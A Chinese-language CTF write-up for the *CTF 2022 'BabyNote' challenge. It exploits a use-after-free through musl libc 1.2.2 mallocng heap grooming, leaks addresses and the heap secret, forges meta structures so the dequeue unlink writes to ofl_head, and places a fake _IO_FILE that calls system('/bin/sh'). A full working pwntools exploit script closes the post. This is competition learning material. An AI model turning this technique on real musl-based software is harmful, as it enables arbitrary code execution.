*CTF 2022 Pwn 题目 BabyNote Writeup

0. 前言

上周打了一下 *CTF 2022,做了一道 musl libc 1.2.2 (mallocng) 堆题 BabyNote,十分幸运地拿到了二血(一血是 AAA 战队的师傅)。笔者已经有一段时间没有做过 mallocng 堆题了。

这道题一共有 17 支队伍解出,相比以前同类型题目只有数个解,可以看出国内 CTF 战队对 mallocng 堆题的掌握水平在逐步提高。当然这也跟题目难度有关。

做题的时候用上了前一阵子编写的 muslheap 插件,效果感觉还不错。特别是可以解析 meta 之类的结构,构造 payload 的时候方便了许多。只是有时出现一些奇怪 BUG。。。

突然想起自己以前挖了 mallocng 详解系列的大坑,还缺 malloc / free 实现和漏洞利用的部分。这篇 Writeup 会涉及这些未发布章节的部分内容。

1. 题目分析

题目附件

题目 libc 环境是 musl libc 1.2.2:

经典的堆菜单题,有addfinddeleteforget四个功能。

add功能可以往HEAD0X4010)单向链表添加 note。

find可以根据name从链表查找 note 并打印note->ctx_ptrforgetHEAD置为 0。

note 结构如下:

漏洞位于delete功能,作用是释放 note。若 note 位于链表末尾,链表中的 note 指针不会被清空,存在 UAF 漏洞

2. 漏洞利用

2.1 利用思路

通过 UAF 可以完全控制某个 note 的 note能够泄漏地址和修改指针。

分配一个content长度为 0x28 的 note UAF 到链表末尾, 然后释放它。

add("UAF", "A"*0x28) # UAF 位于链表末尾

[add 一系列 NOTE...]

delete("UAF")

通过堆风水将 UAF note->ctx_ptr所在堆块分配给某个 note 的 note 上,打印 UAF 的 content 就能泄漏 note 的内容。

[堆风水...]

add("X", "X") # X `note` == UAF `note->ctx_ptr`

find("UAF") # 泄漏 X `note` 上的`note->name_ptr`、`note->ctx_ptr` 等地址

或者将 UAF note 堆块分配给某个 note 的 note->ctx_ptr,通过这个 note 可以修改 UAF note

[堆风水...]

payload = XXXXX
add("X", payload) # X `note->ctx_ptr` == UAF `note`

2.2. musl libc 1.2.2 堆管理器(mallocng)分析

mallocng 是 musl libc 1.2.2 开始采用的新型堆管理器。基本概念和结构可以参考笔者编写的 mallocng 详解 (Part I),这里不再重复阐述。

1. 堆块使用状态

mallocng 分配的堆块(slot)是从某个大内存块 group 切割出来的小内存块,每个 group 由对应的 meta 管理。

struct meta结构如下:

struct meta {
	struct meta *prev, *next;
	struct group *mem;
	volatile int avail_mask, freed_mask;
	uintptr_t last_idx:5;
	uintptr_t freeable:1;
	uintptr_t sizeclass:6;
	uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

avail_maskfreed_mask 字段标识每个 slot 的使用情况,每一比特代表对应 index 的 slot。若avail_mask对应比特为 1,代表该 slot 可以分配出去。若freed_mask对应比特为 1,代表该 slot 已释放。

last_idx字段是最大的合法 slot index,last_idx+1 就是 group 的 slot 个数。

muslheap 解析的 meta 结构体

以上图为例,该 meta 对应的 group 一共有 10 个 slot,其中 0 号 slot 已被释放,1 ~ 2 号 slot 使用中,其余 slot 可供分配。

2. 堆块分配方式

__malloc_context->active双向链表数组链接了 mallocng 中所有存在未分配(可分配和已释放)slot 的 meta,同一个链表上的 slot 大小(stride)都是一样的,其数组下标称为 sizeclass

muslheap 解析的 active 链表。左边绿字括号内是 sizeclass,右边白字是 stride

malloc() 的主要工作是从 active 链表查找可用 slot 分配给用户,(如有必要的话)创建新的 group 并将 meta 插入到链表、从链表移除无用 meta。calloc() 内部也调用了malloc()

(mallocng 源码写得比较粗糙,难以理解部分较多,下列流程仅供参考)

malloc()分配堆块的大致流程如下:

  1. 若 size 超过 0x1fff0,则单独 mmap 一块内存分配给用户
  2. 否则,将 size 转换成对应的 sizeclass sc(通过size_to_class函数)
  3. 获得active链表头指针ctx.active[sc]指向的 meta g
    • (这里省略中间一段调整 sizeclass 的步骤)
  4. g不为 NULL 且存在可分配的 slot(即avail_mask非零)
  5. 否则,调用alloc_slot()
    • g为 NULL:(*)
      • 调用alloc_group() 分配新的 group
      • 将新 group 的 meta 加入active链表,返回 0(即第一个 slot 的 index)
    • g不为 NULL 且不存在可分配 slot(即avail_mask为零),调用try_avail()
      • gfreed_mask亦为零(表明所有 slot 使用中),将 g 移出active链表。
        • 移除后,若active链表为空,退出try_avail(),进行当g为 NULL 的步骤(*)
      • m = g->next,即g的下一个 meta
        • active链表只有g,则m等于gactive是循环链表)
      • active链表头指针指向m*pm = m
        • pmactive链表的指针(即&ctx.active[sc]
        • active链表只有g,则头指针不变
      • 跳过符合以下条件的mm = m->next; *pm = m):
        • mask == (2u<<m->last_idx)-1 && m->freeable
        • !(mask & ((2u<<m->mem->active_idx)-1) & (m->next != m)
      • 设置m->avail_maskm->freed_mask,将所有的已释放 slot 标记为可分配
      • 找出 index 最小的可分配 slot,让 alloc_slot() 返回这个 index
  6. 更新 g,将 alloc_slot() 返回 index 对应的 slot 分配给用户

2.3. 信息泄漏

从上节可以了解到 mallocng slot 分配规则:

  • 已释放 slot 不会马上重用,直到active[sc]当前指向的 meta g没有可分配 slot
  • 如果g没有可分配 slot,mallocng 将active[sc]指向g->next,将g->next已释放 slot 设置为可分配,然后从g->next分配 slot 给用户
  • 接上一条,如果g连已释放 slot 都没有(所有 slot 已被占用),mallocng 还会将g移出active链表

实现信息泄漏,需要布置好如下的堆布局:

                  +-----------> UAF `note->ctx_ptr` 已释放,其余所有 slot 已分配
                  |     +-----> UAF `note` 已释放,其余所有 slot 已分配
                  |     |
active[2] : M2 -> M1 -> M0
            |
            +-----------------> 所有 slot 已分配

size=0x28 的 sizeclass 是 2。active[2]有三个 meta,UAF 的 notenote->ctx_ptr处于释放状态且分别位于M0M1中。除了 UAF 的两个 slot 之外,其余 slot 处于已分配状态。


注意一开始active[2]链表是空的。此时 mallocng 创建一个 slot 个数为 10 的 group(meta 为 M0),将MO加入到active[2]。后面可以发现,新创建 group 的 slot 个数都是 10。

STEP 1:首先从M0分配 9 个 0x28 slot,然后使用 forget 功能将HEAD链表置零。

for i in range(10-1):
    add('M0', 'M0')
forget()
#
# active[2] : M0
#

STEP 2:创建 UAF note,content 长度为 0x28。这里需要分配两个 0x28 堆块。

第一个0x28堆块(note)是 M0 最后一个可用 slot。分配之后,M0上面的所有 slot 已经被占用。

分配第二个0x28堆块(note->ctx_ptr)时,mallocng 从active[2]移除MO,创建新 group(meta 为 M1)加入到active[2],然后从M1分配 slot。

add("UAF", 'A'*0x28)
#
# active[2] : M1
#

STEP 3:分配 9+10 个0x28 slot。

分配到第 10 个 slot 时,M1没有可分配的 slot。mallocng 移除M1并加入新的 group (meta 为M2)到active[2]

分配完 19 个 slot 之后,M0M1M2的所有 slot 都处于已分配状态 。

for i in range(10-1+10):
    add('M1', 'M1')
for i in range(10):
    add('M2', 'M2')
#
# active[2] : M2
#

STEP 4:释放 UAF note。

mallocng 将 UAF note 的note->ctx_ptrnote所在 slot 的 meta M1M0插入到active[2]链表末尾。

因为 UAF 是链表最后一个 note,程序没有清空 HEAD 中的 UAF note 指针,创造 UAF 利用条件。

至此,堆布局已构造完成。

delete("UAF")
#
# active[2] : M2 -> M1 -> M0
#

STEP 5:创建 X note。

按照链表顺序,mallocng 首先访问M2,发现M2没有可用堆块后,移除M2;然后访问M1,发现M1存在一个已释放的 slot(UAF note->ctx_ptr),mallocng 将其设置为可分配,然后分配给 X note 作为 note 对象。

add('X', 'X')
#
# active[2] : M1 -> M0
#

最后,利用 find 功能打印 UAF note->ctx_ptr 泄漏 X note的内容:

find("UAF")
# 0x28:20ecfff7ff7f000030ecfff7ff7f000001000000000000000100000000000000008a555555550000

这里可以泄漏 libc 地址和程序基地址,因为 mallocng 初始 group 位于 libc 和程序的未使用可读写内存段


接下来是泄漏__malloc_context->secret。这是一个位于 libc.so BSS 段的 8 字节随机数,后面的漏洞利用需要使用到这个值。

find 功能可以分配任意大小的堆块,向堆块写入数据。

此时,active[2]链表只有一个可用 slot(即 UAF 的note)。我们可以通过 find 功能分配到 UAF note 所在的 slot,然后将 note 上的 ctx_ptr 指针修改为__malloc_context->secret地址。最后使用find("UAF")打印 UAF note->ctx_ptr 指向的数据,泄漏 secret。

note = flat([UAF_name_addr, secret_addr, 3, 8, 0]) # UAF_name_addr 是字符串 "UAF" 的地址
find(note) # 改写 UAF 的 `note` 后,再次释放
#
# active[2] : M0
#

find("UAF")
# 0x8:69e4717a51dadd1f

因为 find 最后会释放分配到的堆块,我们接下来还能再次利用这个 UAF note

2.4. getshell

1. 伪造 _IO_FILE 劫持程序控制流

与 glibc 不同,musl libc 不存在 __free_hook 之类能够劫持程序控制流的 hook。

目前主流的 getshell 方法是利用 _IO_FILE 结构体,具体原理可以参考笔者写的另一篇文章。利用方法有两种:

  1. 直接修改 __stdout_FILE等现有的 _IO_FILE 结构体。触发途径有exit函数和printfputs等 IO 函数。
  2. 在堆上伪造一个_IO_FILE 结构体,然后将地址写入到ofl_head全局变量中。触发途径只有exit函数。

本文将利用第二种方法进行 get shell。

ofl_head有点类似 glibc 中的 _IO_list_all,它是一个_IO_FILE链表的头指针,链接了所有 musl libc 未关闭_IO_FILE结构体对象(除stdin/stdout/stderr之外)。

ofl_head不为 NULL,__stdio_exit函数会遍历整个链表,逐一调用close_file关闭每个_IO_FILE结构体,效果跟第一种方法一样。

// src/stdio/__stdio_exit.c:16
void __stdio_exit(void)
{
    FILE *f;
    for (f=*__ofl_lock(); f; f=f->next) close_file(f);  <----------
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
}

2. 伪造 meta 实现任意地址写

由于程序没有提供 edit 功能,即使可以控制 UAF note,还是不能实现任意地址写、修改ofl_head 全局变量来 getshell。

musl libc 中,我们可以通过伪造 meta 来实现任意地址写。通过修改 UAF note,我们能够调用 free() 释放任意指针

首先在堆上伪造一个 slot 和对应的 meta,然后使用free()释放 fake slot,利用 free() 处理 fake meta 的过程实现直接或间接任意地址写

free()释放 slot 时,最后调用一个名为nontrivial_free的函数,决定如何处置 slot 对应的 group 和 meta。依照 meta 的各种字段,有以下三种处理结果:

  1. 什么也不做。
  2. queue:将 meta 插入对应的active链表。
  3. dequeue:从对应的active链表移除 meta,然后释放 group。
// src/malloc/mallocng/free.c:101
void free(void *p)
{
	if (!p) return;

	struct meta *g = get_meta(p);
	int idx = get_slot_index(p);

	[...]

	wrlock();
	struct mapinfo mi = nontrivial_free(g, idx);       <------------
	unlock();
	if (mi.len) munmap(mi.base, mi.len);
}

// src/malloc/mallocng/free.c:72
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
	uint32_t self = 1u<<i;
	int sc = g->sizeclass;
	uint32_t mask = g->freed_mask | g->avail_mask;

	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {    <--- dequeue 部分
			[...]
	} else if (!mask) {                                           <--- queue 部分
			[...]
	}                                                             <--- 什么都不做部分
	a_or(&g->freed_mask, self);
	return (struct mapinfo){ 0 };
}

queue 利用方法比较直接:将 fake meta 插入active链表后,修改 fake meta 的 mem 指针,可以控制malloc()分配任意内存地址。具体 EXP 可以参考笔者的两篇 Writeup:RCTF 2021 muslwarmnote

本文主要利用 dequeue 进行任意地址写。检查dequeue函数,可以发现解链时没有检查链表指针nextprev是否合法,类似旧版 glibc 的 unlink 宏

// src/malloc/mallocng/free.c:72
static struct mapinfo nontrivial_free(struct meta *g, int i)
{
	[...]

	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {
	[...]  
			dequeue(&ctx.active[sc], g);     <---------------------
	[...]  
	}

	[...]

}

// src/malloc/mallocng/meta.h:90
static inline void dequeue(struct meta **phead, struct meta *m)
{
	if (m->next != m) {
		m->prev->next = m->next;             <---------------------
		m->next->prev = m->prev;             <---------------------
		if (*phead == m) *phead = m->next;
	} else {
		*phead = 0;
	}
	m->prev = m->next = 0;
}

只要将 fake_meta 的prev指针设为&ofl_head-8next指针设为 fake _IO_FILE 结构体地址,dequeue时就会:*ofl_head = fake_file_addr; *fake_file_addr = &ofl_head-8


3. 前置条件

首先需要控制一段首地址低 12bit 为零的内存(例如0x7ffff7f3e000)。

通过mheapinfo命令可以发现active链表最大的 slot 只有 0x7f0。若需要分配大小超过最大可用大小,mallocng 通过 mmap 创建新的 group 分配给用户。

因此请求大小超过0x1000的堆块就能分配到连续两个内存页的 slot,将 fake slot 布置到第二个内存页上即可(如下图的0x7ffff7f3e000)。

然后需要泄漏 fake slot 地址和__malloc_context->secret。mmap 内存到 libc 的偏移一般是固定的。

最后要求可以调用 free()释放 fake slot。也可以修改现有 slot 的 in-band meta 指向 fake meta。


4. 构造 fake slot

                                   The overview layout of fake slot (dequeue)

             addr = 0x7ffff7f3e000        (Require: addr & 0xFFF == 0)

    +0x0    +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+  
            |  0x1fddda517a71e469   |                [check]          |  meta_arena (Partial)   
    +0x8 +> +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+
         |  |      &ofl_head-8      |                 [prev]          |
         |  +-+-+-+-+-+-+-+-+-+-+-+-+                                 |
         |  |    fake_file_addr     |                 [next]          |  
         |  +-+-+-+-+-+-+-+-+-+-+-+-+                                 |
         |  |     0x7ffff7f3e030    |---+             [mem]           |      struct meta
         |  +-+-+-+-+-+-+-+-+-+-+-+-+   |                             |
         |  |           0           |   |            [*_mask]         |
         |  +-+-+-+-+-+-+-+-+-+-+-+-+   |                             |
         |  |        0x1020         |   |     [freeable=1, maplen=1]  |                  
   +0x30 |  +-+-+-+-+-+-+-+-+-+-+-+-+ <-+   <-------------------------+
         +--|     0x7ffff7f3e008    |                 [meta]          |  struct group (Partial)       
   +0x38    +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+
            |           0           |           [R=0, I=O, OFF32=0]   |
   +0x40    +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+  
            |                       |  <------------------------------+----------------------------------- [p] (+0x40)
            +-+-+-+-+-+-+-+-+-+-+-+-+                                 |
            .                       .                                 |          
            .                       .                                 |
            .                       .                                 |         slot
            .                       .                                 |
            .                       .                                 |
            .                       .                                 |
   +0x1028  +-+-+-+-+-+-+-+-+-+-+-+-+                                 |
            |  |  |  | 0| <-+                                         |
            +-+-+-+-+-+-+   |                <------------------------+
                            |
                            +---- [Overflow byte] (+0x102c = 0x40+0x1000-0x10-0x4)


  free(p) -->   *(uint64_t*)ofl_head = fake_file_addr
                *(uint64_t*)fake_file_addr = &ofl_head-8

上图是 fake slot 的结构和说明。为了绕过 mallocng free() 一系列的检查,还需要伪造meta_arenametagroup这三个结构体。

下面是每个字段的构造思路,篇幅较长。没兴趣的话可以直接跳到下一节。


0x0:放置__malloc_context->secret,伪造 meta_arena->check 。这个 secret 需要位于 fake meta 所在内存页的前 8 字节。绕过以下检查:

// src/malloc/mallocng/meta.h:129
static inline struct meta *get_meta(const unsigned char *p)
{
	[...]

	const struct group *base = (const void *)(p - UNIT*offset - UNIT);
	const struct meta *meta = base->meta;

	[...]

	const struct meta_area *area = (void *)((uintptr_t)meta & -4096);
	assert(area->check == ctx.secret);         <------------------------------------

}

0x8-0x30:fake meta,这是本次漏洞利用最关键的部分。

meta 的结构如下:

struct meta {
	struct meta *prev, *next;
	struct group *mem;
	volatile int avail_mask, freed_mask;
	uintptr_t last_idx:5;
	uintptr_t freeable:1;
	uintptr_t sizeclass:6;
	uintptr_t maplen:8*sizeof(uintptr_t)-12;
};

prevnext分别设为&ofl_head-8fake_file_addrmem需要设为 fake group 的地址(偏移为 0x30)。sizeclasslast_idx直接设为 0。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{
	uint32_t self = 1u<<i;
	int sc = g->sizeclass;
	uint32_t mask = g->freed_mask | g->avail_mask;

	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {            <------------------ dequeue 条件一和二
		// any multi-slot group is necessarily on an active list
		// here, but single-slot groups might or might not be.
		if (g->next) {                                                <------------------ dequeue 条件三(显然成立)
			assert(sc < 48);
			int activate_new = (ctx.active[sc]==g);
			dequeue(&ctx.active[sc], g);
			if (activate_new && ctx.active[sc])
				activate_group(ctx.active[sc]);
		}
		return free_group(g);
	}

	[...]

}

根据源码,如果让nontrivial_free()进行 dequeue 操作,需要满足以下条件:

  1. mask+self == (2u<<g->last_idx)-1
  2. okay_to_free(g)
  3. g->next != NULL

avail_maskfreed_mask和 fake slot index 设置为 0 可以满足条件一。条件三显然成立。

freeable设置为1可以满足第二个条件okay_to_free(g)

static int okay_to_free(struct meta *g)
{
	int sc = g->sizeclass;

	if (!g->freeable) return 0;        <----------------- okay_to_free() 条件一

	// always free individual mmaps not suitable for reuse
	if (sc >= 48 || get_stride(g) < UNIT*size_classes[sc])
		return 1;

	// always free groups allocated inside another group's slot
	// since recreating them should not be expensive and they
	// might be blocking freeing of a much larger group.
	if (!g->maplen) return 1;

	// if there is another non-full group, free this one to
	// consolidate future allocations, reduce fragmentation.
	if (g->next != g) return 1;        <----------------- okay_to_free() 条件二(显然成立)

	[...]

}

最后,maplen 的值必须不等于0(一般设为1)。这是为了绕过 dequeue 时的free_group操作。

nontrivial_free()进行 dequeue 之后,最后调用free_group()来释放 group 所在的内存。

static struct mapinfo nontrivial_free(struct meta *g, int i)
{

	[...]

	if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) {             

		[...]

		return free_group(g);  <------------------
	}

	[...]

}

static struct mapinfo free_group(struct meta *g)
{
	struct mapinfo mi = { 0 };
	int sc = g->sizeclass;
	if (sc < 48) {
		ctx.usage_by_class[sc] -= g->last_idx+1;
	}
	if (g->maplen) {          <---------------- maplen != 0: 使用 munmap 释放
		step_seq();
		record_seq(sc);
		mi.base = g->mem;
		mi.len = g->maplen*4096UL;
	} else {                  <---------------- maplen == 0: 使用 nontrivial_free 释放
		void *p = g->mem;
		struct meta *m = get_meta(p);  // g->mem 不通过检查,free() 报错
		int idx = get_slot_index(p);
		g->mem->meta = 0;
		// not checking size/reserved here; it's intentionally invalid
		mi = nontrivial_free(m, idx);
	}
	free_meta(g);
	return mi;
}

maplen0,表示当前 group 是某个大 group 的 slot。这时free_group()调用get_meta()检查 mem导致 free() 报错。

maplen 不为 0,表示 group 是长度为maplen * 0x1000 的 mmap 内存,free() 调用munmap释放。注意,这里即使munmap失败,free()不会报错

void free(void *p)
{

	[...]

	wrlock();
	struct mapinfo mi = nontrivial_free(g, idx);
	unlock();
	if (mi.len) munmap(mi.base, mi.len);   <----------  munmap 失败,但 free() 不报错
}

最终构建好的 fake_meta 如下:

# META_struct 代码见文末 EXP
fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem  = page_addr+0x30 # 0x7ffff7f3e000+0x30
fm.freeable = 1
fm.maplen = 1
# 其他字段均设置为 0

0x30:放置 fake meta 地址(偏移 0x8),伪造 group->meta

// src/malloc/mallocng/meta.h:17
struct group {
	struct meta *meta;       <-------------
	unsigned char active_idx:5;
	char pad[UNIT - sizeof(struct meta *) - 1];
	unsigned char storage[];
};

不用管其他字段,mallocng 不作检查。


0x38: fake slot,主要是伪造 in-band meta。直接放个p64(0)就行了。


                                                    |----------------- in-band meta ------------------|

0                                                   4             5           6                       8 byte
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       0                           |      0      |  R  |  I  |         OFF           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

R  : 第六个字节的前 3 个比特位
I  : 第六个字节的后 5 个比特位
OFF: 第七个字节和第八个字节

in-band meta 的位置。前 4 字节严格来说也是一种 in-band meta,只是绝大多数情况下是零值

I(index)设为 0,满足 dequeue 条件。R(Reserved)设为0,这个值会影响 Overflow byte 的位置。

OFFp距离 &(group->meta)(也就是 fake meta 地址)的相对距离,计算公式为p_meta = p - (OFF + 1) * 0x10。当OFF0时,group恰好位于 slot 上方(即偏移 0x30)。

OFF 也可以不为0。常用于堆溢出修改 slot 的 in-band meta,将OFF指向 fake_meta 指针。释放这个 slot 后,可以得到跟直接伪造 slot 相同的效果。

         +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+
         |     0x7ffff7f3e008    | <-+             [meta]          |  struct group (Partial)       
         +-+-+-+-+-+-+-+-+-+-+-+-+   |   <-------------------------+
         .                       .   |
         .                       .   |
         .                       .   |
         .                       .   |  0x10*(OFF+1)
         .                       .   |
         .                       .   |
         +-+-+-+-+-+-+-+-+-+-+-+-+   |   <-------------------------+
         |                 | OFF |---+        [in-band meta]       |
         +-+-+-+-+-+-+-+-+-+-+-+-+       <-------------------------+
         |                       | <-------------------------------+---------------------- [p]                                
         +-+-+-+-+-+-+-+-+-+-+-+-+                                 |        slot
         .                       .                                 .
         .                       .                                 .
         .                       .                                 .          

fake slot 与 fake group 之间可以像这样存在一定的空隙,只需调整好 OFF 和 meta / group 的指针

0x40:这是p的偏移。触发 dequeue 漏洞的方式就是free(p)


0x102c:Overflow byte,这个位置要求是一个空字节NULL

绕过以下检查:

void free(void *p)
{
	if (!p) return;

	struct meta *g = get_meta(p);
	int idx = get_slot_index(p);
	size_t stride = get_stride(g);
	unsigned char *start = g->mem->storage + stride*idx;
	unsigned char *end = start + stride - IB;
	get_nominal_size(p, end);       <--------------

	[...]

}

static inline size_t get_nominal_size(const unsigned char *p, const unsigned char *end)
{
	size_t reserved = p[-3] >> 5;      <------ 这个 reserved 就是 in-band meta  `R` 字段
	if (reserved >= 5) {
		assert(reserved == 5);
		reserved = *(const uint32_t *)(end-4);
		assert(reserved >= 5);
		assert(!end[-5]);
	}
	assert(reserved <= end-p);
	assert(!*(end-reserved));         <------- 检查 overflow byteend-reserved  end 就是 +0x102c
	// also check the slot's overflow byte
	assert(!*end);                    
	return end-reserved-p;
}

偏移值的计算过程:start+stride-IB = start+maplen*0x1000-UNIT-IB = 0x40+0x1000-0x10-0x4 = 0x102c

其中stride是 slot 的长度,由于maplen不为 0,故等于maplen*0x1000-0x10

static inline size_t get_stride(const struct meta *g)
{
	if (!g->last_idx && g->maplen) {
		return g->maplen*4096UL - UNIT;
	} else {
		return UNIT*size_classes[g->sizeclass];
	}
}

至此,fake slot 已经构建完成。通过mchunkinfo <p 的地址>可以发现所有字段已通过 muslheap 的合法性检查(不通过的字段会用黄色标出),提示nontrivial_free的处理结果是 dequeue。


5. 触发 dequeue

首先释放两个M1的 slot,用于存放接下来创建的两个 note。

delete('M1')
delete('M1')
#
# active[2] : M0 -> M1
#

布置 fake slot。

fake_slot = flat({
  0    : secret,
  0x8  : bytes(fake_meta),
  0x30 : page_addr+0x8,
  0x38 : 0,
}, filler=b'\x00')

payload = (0xfe0 * b'\x00' + fake_slot).ljust(0x1200, b'\x00')
add('fake_slot', payload)

改写并释放 UAF note,触发 dequeue 漏洞将 fake_file 地址写入 ofl_head

# 原来的 "UAF" 已释放,这里换成 "XXXX" 字符串作为 name
payload = flat([XXXX_name_addr, page_addr+0x40, 4, 8, 0])
# UAF_note 的`note->ctx` 分配到 UAF note 的 `note` 所在 slot
add("UAF_note", payload)

# 触发 dequeue
delete('XXXX')

最后布置 fake _IO_FILE(由于 dequeue 会破坏 fake_file 上的数据,需要先 dequeue 后布置 fake _IO_FILE)。

fake_file = flat({
    0    : b"/bin/sh\x00",
    0x28 : 0xdeadbeef,
    0x38 : 0xcafebabe,
    0x48 : system
}, filler=b'\x00')

add('fake_file', fake_file)

最后调用exit() getshell:

3. EXP 脚本

#!/usr/bin/env python3
from pwn import *
import warnings
warnings.filterwarnings("ignore", category=BytesWarning)

context(arch="amd64")
context(log_level="debug")

class META_struct:
    BIT_FIELD_BLEN = {
        'last_idx'  : 5,
        'freeable'  : 1,
        'sizeclass' : 6,
        'maplen'    : 52,
    }

    FIELD_NAME = (
        'prev',
        'next',
        'mem',
        'avail_mask',
        'freed_mask',
        'last_idx',
        'freeable',
        'sizeclass',
        'maplen'
    )

    def __init__(self):
        self.__data = {}
        for k in self.FIELD_NAME:
            self.__data[k] = 0

    def __setattr__(self, attr, vaule):
        if attr in self.FIELD_NAME:
            self.__data[attr] = vaule
        else:
            super().__setattr__(attr, vaule)

    def __getattr__(self, attr):
        if attr in self.FIELD_NAME:
            return self.__data[attr]
        else:
            return super().__getattr__(attr)

    def __bytes__(self):
        payload = b''

        for k in ('prev', 'next', 'mem'):
            payload += p64(self.__data[k])
        for k in ('avail_mask', 'freed_mask'):
            payload += p32(self.__data[k])
        bv = 0
        bpos = 0
        for k in ('last_idx', 'freeable', 'sizeclass', 'maplen'):
            blen = self.BIT_FIELD_BLEN[k]
            bv |= (self.__data[k] & ((1 << blen) - 1)) << bpos
            bpos += blen
        payload += p64(bv)

        return payload

libc = ELF("./libc.so")
code = 0

p_sl      = lambda x, y : p.sendlineafter(y, str(x) if not isinstance(x, bytes) else x)  
p_s       = lambda x, y : p.sendafter(y, str(x) if not isinstance(x, bytes) else x)  
libc_sym  = lambda x : libc.symbols[x]
libc_symp = lambda x : p64(libc.symbols[x])

libc_os = lambda x : libc.address + x
code_os = lambda x : code + x

# ~ remote("123.60.76.240:60001")
p = process("./babynote")

def add(name, note):
    p_sl(1, "option:")
    p_sl(len(name), "name size:")
    p_s(name, "name:")
    p_sl(len(note), "note size:")
    p_s(note, "note content:")

def delete(name):
    p_sl(3, "option:")
    p_sl(len(name), "name size:")
    p_s(name, "name:")

def find(name):
    p_sl(2, "option:")
    p_sl(len(name), "name size:")
    p_s(name, "name:")

def forget():
    p_sl(4, "option:")

def unhex(a):
    addr = b''
    for i in range(8):
        addr = a[i*2:i*2+2] +  addr
    return int(addr, 16)

## 1. fengshui
for i in range(10-1):
    add('M0', 'M0')
forget()
add("UAF", 'A'*0x28)

for i in range(10-1):
    add('M1', 'M1')
for i in range(10):
    add('M2', 'M2')
delete("UAF")

## 2. leak libcbase, codebase
add('X', 'XXXX')

find("UAF")

p.recvuntil("0x28:")
x = p.recv(0x28*2)
libc.address = unhex(x[:8*2]) - 0xb7c20
info("libcbase: 0x%lx", libc.address)
code = unhex(x[-8*2:]) - 0x4a00
info("codebase: 0x%lx", code)

## 3. leak secret
UAF_name_addr = code_os(0x4d60)
secret_addr   = libc_os(0xb4ac0)
note = flat([UAF_name_addr, secret_addr, 3, 8, 0])
find(note)

find('UAF')

p.recvuntil("0x8:")
secret = unhex(p.recv(16))
info("secret: 0x%lx", secret)

## 4. prepare for exploit
delete('M1')
delete('M1')

## 5. construct fake slot
page_addr = libc_os(-0x9000) + 0x6000
# ~ page_addr = libc_os(-0x9000) # no ASLR
fake_file_addr = code_os(0x4a40)
ofl_head_addr  = libc_os(0xb6e48)

fm = META_struct()
fm.prev = ofl_head_addr-8
fm.next = fake_file_addr
fm.mem  = page_addr+0x30
fm.freeable = 1
fm.maplen   = 1

fake_slot = flat({
  0    : secret,
  0x8  : bytes(fm),
  0x30 : page_addr+0x8,
  0x38 : 0,
}, filler=b'\x00')
payload = (0xfe0 * b'\x00' + fake_slot).ljust(0x1200, b'\x00')
add('fake_slot', payload)

## 6. trigger dequeue
XXXX_name_addr = libc_os(0xb7c30)
payload = flat([XXXX_name_addr, page_addr+0x40, 4, 8, 0])
add("UAF_note", payload)

delete('XXXX')

## 7. construct fake _IO_FILE
system = libc_sym('system')

fake_file = flat({
    0    : b"/bin/sh\x00",
    0x28 : 0xdeadbeef,
    0x38 : 0xcafebabe,
    0x48 : system
}, filler=b'\x00')
add('fake_file', fake_file)

## 8. getshell

p.sendline("5")

p.interactive()

Comments